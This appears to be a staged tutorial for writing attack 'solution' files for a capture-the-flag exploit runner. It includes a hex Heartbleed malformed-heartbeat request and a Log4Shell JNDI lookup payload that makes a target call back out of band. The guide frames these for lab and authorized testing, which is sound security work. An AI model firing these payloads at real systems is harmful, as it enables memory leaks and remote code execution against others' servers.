Authoring solutions
A path from your very first solution file to expert-level chains. Work through the stages in order.
This guide takes you from your very first solution file to expert-level chains. Work through the stages in order: each one builds on the last, and each ends with a checkpoint so you know you are ready to move on. If you already know a stage, skim it and jump ahead.
Every solution has the same shape: a few lines about the attack at the top, then the steps. Each step starts with its identity and a name, then key: value lines, and ends with an assert, the pass or fail test. The rest of a step depends on the protocol.
Stage 1: your very first file
What you learn: the shape of a solution file, how to run one, and how to read the result.
The smallest useful solution is a single HTTP step. Here is the whole file:
id: web/reflection-probe
param: template
http reflect
encoding: query
meaning: send a unique marker in the template param and confirm it comes back
payload: REFLECTED_7x7
assert: contains "REFLECTED_7x7"
Read it top to bottom:
idnames the attack.paramnames the input parameter,templatehere.- The block after it is one step.
httpis the protocol,reflectis the step name. It sendsREFLECTED_7x7in thetemplateparameter of a GET request. assertis the pass or fail test: the step passes only if the response containsREFLECTED_7x7.
Save it as solution.txt and run it against a target:
exploitmatic solution.txt http://example.com/render
The runtime prints one line per step and a result. When the value comes back, the result is verified; when it does not, the result is not verified. A bad file or a connection problem stops the run with an error message instead.
Checkpoint: you can write a one-step HTTP solution, run it, and read the result.
Stage 2: get the payload to the right place
What you learn: the ways an HTTP step can carry a value, and how to match a response that varies.
The http identity decides where the payload goes by its encoding:
| encoding | the request it makes |
|---|---|
query | GET target?param=value |
form | POST, form-encoded |
json | POST, JSON body |
raw-json | POST, the body IS the value |
plain | GET of a fixed path, no parameter |
Use path to add to the target URL and headers to add request headers.
When the response varies a little, use a pattern instead of exact text. The regex test matches a pattern; this one accepts either heartbeat record version:
assert: regex "18030[123]40"
The flag test is a shortcut: it passes when the response contains a flag-shaped string such as FLAG{...}.
Checkpoint: you can choose the right encoding for a web target and the right test for the reply.
Stage 3: reach the flag
What you learn: reading a file on your own machine, the finish line of a capture-the-flag lab.
id: host/read-flag
file read-flag
op: read
path: "{flag_path}"
assert: flag
{flag_path} is filled in from the --flag-path flag. This step reads a file on your own machine:
exploitmatic solution.txt example.com --flag-path flag.txt
The flag test passes when the file content looks like FLAG{...}.
Checkpoint: you can probe a lab, then read the flag it writes.
Stage 4: two steps, one conversation
What you learn: how steps run in order, and when a connection stays open between them.
For tcp, tls, and websocket steps the connection stays open across steps. This matters for attacks that need a handshake first: stage the handshake in one step, send the exploit in the next, on the same connection. For http steps each step is its own request.
Heartbleed is the classic case. Step 1 opens a TLS connection and proves the server finishes its hello. Step 2 sends the malformed heartbeat and looks for the leak:
id: tls/heartbeat-probe
tls clienthello
meaning: advertise the heartbeat extension and wait for ServerHelloDone
send: 1603030125010001210303...
recv_until: 0e000000
recv: 65536
timeout: 5
assert: contains "0e000000"
tls malformed-heartbeat
meaning: send a heartbeat request claiming a payload length with zero payload bytes
send: 1803030003014000
recv: 70000
timeout: 5
assert: regex "18030[123]40"
sendis the bytes to send, written as hex (or as readable text:hex "HELO x\r\n"is hex-encoded for you)recvis the most bytes to readrecv_untilstops the read once a marker appears, here the ServerHelloDone messagetimeoutis how long to wait, in secondsclosewould end the connection after the step
The target for a tls solution is host:port:
exploitmatic solution.txt example.com:8443
Checkpoint: you can replay a real protocol exploit that needs a session.
Stage 5: values that change
What you learn: reusing values across steps, and following values the server assigns.
Sometimes a later step needs a value that is not known until the run: a session port, a token. Two tools handle this.
Declare your own values at the top with vars, and change them mid-flow with set on a step:
id: demo/probe
vars:
marker: ONE
http first
encoding: query
payload: "{marker}"
set:
token: TWO
assert: contains "ONE"
http second
encoding: query
payload: "{token}"
assert: contains "TWO"
Step 1 sends {marker} (which is ONE) and declares {token} as TWO. Step 2 sends {token} (which is now TWO).
When the value comes from the target, capture pulls it out of the response. This example follows a server-assigned port:
tcp negotiate
send: 010203...
capture port: "(....)"
assert: contains "..."
tcp use-port
send: "otrpc:{port}:..."
Later steps reference {port} and the runtime fills it in. See Variables for the rules.
For a WebSocket step, the send is treated as text and wrapped into a proper frame automatically, so you do not hand-compute frame lengths:
websocket ws-rpc
send: "{\"jsonrpc\":\"2.0\",\"id\":{port}}"
Checkpoint: you can build a conversation that adapts to values it learns along the way.
Stage 6: make the target phone home
What you learn: out-of-band callbacks and running commands on your own machine.
Some attacks make the target connect back to us. The Log4Shell pattern declares a listener at the top, then checks a callback arrived:
id: log4j/jndi-probe
oob:
host: 127.0.0.1
http jndi-lookup
encoding: query
meaning: trigger a JNDI lookup back to the listener
payload: "${jndi:ldap://{oob_host}:{oob_port}/hit}"
assert: oob "300c0201016007"
{oob_host} and {oob_port} are filled in automatically. A port of 0 picks a free one. The oob test passes when a callback arrives. The marker here is the LDAP bind prefix: the JNDI lookup connects and sends an anonymous bind, and the listener records the raw bytes, so that prefix is what actually arrives. When the target runs in a container, give the listener a routable address (-oob-host), because 127.0.0.1 inside the container is the container’s own loopback.
The process identity runs a command on your own machine and checks its output, like file:
id: host/whoami
process whoami
command: id
assert: regex "uid="
The file identity works the same way: op (read or write), path, and data for the bytes to write.
Checkpoint: you can build solutions that reach out of band and into the host.
Stage 7: expert habits
What you learn: combining everything, keeping solutions deterministic, and debugging when they fail.
A real solution mixes the stages. One attack can start with a WebSocket upgrade, follow a server-assigned port, send a JSON-RPC call, and finish with a flag read on the host. Build it one stage at a time, and test each stage against a replica before moving on.
Keep solutions deterministic: fixed bytes, fixed paths, no randomness. The same file against the same target must give the same result, so a run can be repeated and compared any time.
When a run fails, the console points at the problem. Common causes:
| symptom | cause |
|---|---|
| unknown identity | the identity is not one the runtime implements |
| missing field | a required field is missing, for example encoding on an http step |
| not valid hex | send or recv_until on a tcp/tls step is not hex |
| test failed | the test ran and failed, the attack did not work on this target |
The console report shows what every step sent and received, with the test that ran. It stores no result, so the result always comes from the tests.
Checkpoint: you can write, run, and debug a multi-stage solution on your own.
Rules of thumb
- Steps run in order, and the
tcp,tls, andwebsocketconnection stays open between them. - A step without a test is recorded but never fails.
- Keep steps deterministic: fixed bytes, fixed paths, no randomness.
- A solution is data only. The runtime never executes anything from it.
- Refine against a local replica first, then verify against an authorized target.
See the overview for the field tables and the Steps page for the step object in detail.